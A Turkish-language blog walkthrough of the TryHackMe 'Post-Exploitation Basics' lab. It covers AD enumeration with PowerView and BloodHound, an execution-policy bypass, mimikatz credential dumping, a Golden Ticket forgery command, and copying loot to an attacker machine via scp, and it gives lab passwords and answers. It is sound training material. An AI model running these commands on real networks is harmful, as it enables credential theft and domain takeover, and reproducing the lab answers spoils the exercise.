TryHackMe — Post-Exploitation Basics WriteUp

Tuba Şengün
6 min readJul 25, 2021

--

Merhabalar, bu yazımda TryHackMe platformunda bulunan Post-Exploitation Basics isimli makinenin çözümünü sizlere anlatıyor olacağım.

Bu makine daha çok gerçek dünya uygulamalarıyla ilgili olacak ve büyük ihtimalle herhangi bir CTF esnasında size yardımcı olmayacaktır, ancak size bir makinede kabuk elde ettikten sonra bir ağa nasıl yaklaşılacağı konusunda harika bir başlangıç ​​bilgisi verecektir. Mimikatz, BloodHound, Powerview ve msfvenom ile post-explotation ve erişimi sürdürmenin temellerini öğreniyor olacağız.

Bu makinede daha önce çözdüklerimizden daha farklı bir yol izlememiz gerekecektir. Makinenın açıklamasında bizlere verilen bilgileri kullanarak sunucuya bağlanmamız gerekmektedir.

credentials
ssh Administrator@10.10.163.56
ssh-connect

1) Enumeration w/ Powerview

SSH ile bağlantı sağladık, şimdi Powershell’i çalıştırmamız gerekiyor.

powershell -ep bypass

Yukarıdaki komutu Powershell’in yürütme politikasını atlayarak komut dosyalarını kolayca çalıştırmamıza olanak tanır.

powershell

Şimdi PowerView’ı çalıştırabiliriz:

. .\Downloads\PowerView.ps1

Artık PowerView’ın yüklediği komutlara erişimimiz var. İlk önce kullanıcılara bakalım.

Get-NetUser | select cn
users

Kullanıcıları listelediğimizde 3. sorudaki bayrağa ulaşıyoruz.

Şimdi isminde admin olan gruplara bakalım.

Get-NetGroup -GroupName *admin*
admin-groups

Şimdi bize makine ile ilgili sorulan sorulardan ilkinin cevabını bulmaya çalışalım.

#1 — What is the shared folder that is not set by default?

Bu sorunun cevabı için çalıştırabileceğimiz iki komut var;

Invoke-ShareFinder

Get-NetShare

shared-folders

Cevap : Share

#2 — What operating system is running inside of the network besides Windows Server 2019?

Bu sorunun cevabı için Powershell üzerinde aşağıdaki komutu çalıştırabilirsiniz.

Get-NetComputer -fulldata | select operatingsystem*
OS

Cevap : Windows 10 Enterprise Evaluation

2) Enumeration w/ Bloodhound

Bloodhound, ağı görsel olarak haritalamanıza izin veren bir grafik arayüzüdür. Bu araç, PowerView’a benzer SharpHound ile birlikte ağın kullanıcılarını, gruplarını vb. alır ve bunları Bloodhound içinde kullanılmak üzere .json dosyalarına toplar.

.Json dosyalarının nasıl toplanacağına ve bunların Bloodhound’a nasıl aktarılacağına odaklanacağız.

BloodHound Installation

1.) apt-get install bloodhound

2.) neo4j console - default credentials -> neo4j:neo4j

Getting loot w/ SharpHound

1.) powershell -ep bypass same as with PowerView

2.) . .\Downloads\SharpHound.ps1

3.) Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zip

Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zip
loot.zip

Bu adımdan sonra loot.zip klasörünü saldırgan makinenize aktarın.

Not: bağlantınızda ssh kullanıyorsanız dosyayı aktarmak için scp kullanabilirsiniz.

scp .\20210502113001_loot.zip tuba@10.9.107.107:/home/tuba/loot.zip
ssh-file-transfer-with-scp

— BloodHound ile ağın haritasını çıkarma

1- Bloodhound çalıştırın ve kurulumda Neo4j ile ayarladığınız aynı kimlik bilgilerini kullanarak oturum açın.

2- Daha sonra loot.zip klasörünü içe aktarın.

3- Grafikli ağı görüntülemek için menüyü açın ve sorguları seçin, bu size aralarından seçim yapabileceğiniz önceden derlenmiş sorguların bir listesini verecektir.

queries

4- Find all Domain Admins sorgusunda tıklayarak basitçe tüm domain admin leri görebiliriz.

domain-admins

Bu sorgular sayesinde makinedeki soruları cevaplayabiliriz.

#1 — What service is also a domain admin

Cevap: Sqlservice

#2 — What two users are Kerberoastable?

Bu sorunun cevabı için analysis kısmındaki “List all Kerberoastable Accounts” sorgusunu kullanabiliriz.

Cevap: SQLSERVICE, KRBTGT

Kerberoastable

3) Dumping hashes w/ mimikatz

Mimikatz, çoğunlukla bir active directory ağının içindeki kullanıcı kimlik bilgilerini dökmek için kullanılan çok popüler ve güçlü bir post-exploitation aracıdır.

NTLM hash lerini mimikatz ile dökümüne ve ardından hashcat kullanarak bu hashleri kırmaya odaklanacağız.

İlk olarak mimikatz çalıştıralım.

cd Downloads && mimikatz.exe
mimikatz.exe

Daha sonra privilege::debugkomutunu çalıştıralım. Çıktının “Ayrıcalık ‘20’ ok” olduğundan emin olun. Bu, mimikatz’ı yönetici olarak çalıştırmanızı sağlar; mimikatz’ı yönetici olarak çalıştırmazsanız, mimikatz düzgün çalışmayacaktır.

privilege#mimikatz

Şimdi lsadump::lsa /patch komutuyla hashleri döküyoruz.

dumpingthehashes

Sonunda kırmayı deneyebileceğimiz hashlere sahibiz. Önce hashcat ve rockyou.txt kullanarak deneyelim. Hashleri kırmak için hashes.com sitesini de kullanabilirsiniz. Hashleri kırdıktan sonra bir Golden Ticket oluşturmayı deneyebiliriz fakat öncesinde krgtgt kullanıcısı hakkında bilgi toplamamız gerekir.

lsadump::lsa /inject /name:krbtgt

Yukarıdaki bilgileri kullanarak ticket oluşturabiliriz.

kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-986696166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500
ticket

Oluşturulan bilet ile şimdi yeni bir komut istemi başlatabiliriz.

Artık ağdaki diğer tüm makinelere erişimi olan başka bir komut isteminiz olacak.

misc::cmd

Ağda sunucular veya masaüstü bilgisayarlar gibi başka cihazlar olsaydı, bunlara göz atabilir, kimlik doğrulaması yapabilirdik.

4) Enumeration w/ Server Manager

Sunucu yöneticisine erişmenin tek yolu, sunucuya rdp yapmak ve sunucuya bir rdp bağlantısı üzerinden erişmektir.

Yalnızca kullanıcılara ve gruplara bakmak gibi temel konuların üzerinden geçeceğiz, ancak sunucu yöneticisi ile enumeration açısından elde edebileceğiniz birçok başka yol var.

Bu aynı zamanda, henüz enumeration yapmadıysanız, ağın ne tür bir güvenlik duvarı kullandığını kolayca belirlemenin bir yolu olabilir.

RDP bağlantısını kuralım.

Makinenin IP’si 10.10.148.222'dir.

Kimlik bilgileri şunlardır: domain:controller.local user:Administrator password:P@$$W0rd

Numaralandırma w/ Sunucu Yöneticisi

Windows Server Manager’ı ilk açtığınızda göreceğiniz şey budur; ana sekmeler, araçlar ve yönetim sekmeleridir, araçlar sekmesi, kullanıcılar, gruplar, güvenler, bilgisayarlar gibi bilgilerinizin çoğunu bulacağınız yerdir. Yönet sekmesi, roller ve özellikler eklemenize izin verir, ancak bu muhtemelen bir sistem yöneticisi tarafından nispeten hızlı bir şekilde alınır.

AD CS, AD DS, DNS veya Dosya ve Depolama Hizmetleri için endişelenmeyin, bunlar aktif dizinden yararlanmak için ayarlanmıştır ve post-exploitation için fazla bir kullanımları yoktur.

Windows Server Manager

Araçlar (Tools) sekmesine gidin ve Active Directory Kullanıcıları ve Bilgisayarları’nı (Active Directory Users and Computers) seçin.

Active Directory Users and Computers

Bu alan bize etki alanındaki tüm kullanıcıların bir listesini ve ayrıca gruplar, bilgisayarlar gibi kullanılacak diğer bazı yararlı sekmeleri gösterecektir.

Bazı sistem yöneticileri, bir saldırgan olarak, kullanıcı hesaplarının açıklamalarını görebildiğinizi fark etmezler, böylece açıklamanın içinde hizmet hesaplarının parolalarını ayarlayabilirler, açıklamaya bakarlar ve SQL Hizmeti parolasının ne olduğunu bulabilirler.

#1 — What tool allows to view the event logs?

Cevap: event viewer

#2 — What is the SQL Service password?

Cevap: MYpassword123#

Buraya kadar devam ettiğiniz için teşekkürler. Bir sonraki makine çözümlerinde görüşmek üzere…

--

--

Tuba Şengün
Tuba Şengün

Written by Tuba Şengün

Adli Bilişim Mühendisi | Siber Güvenlik Araştırmacısı

No responses yet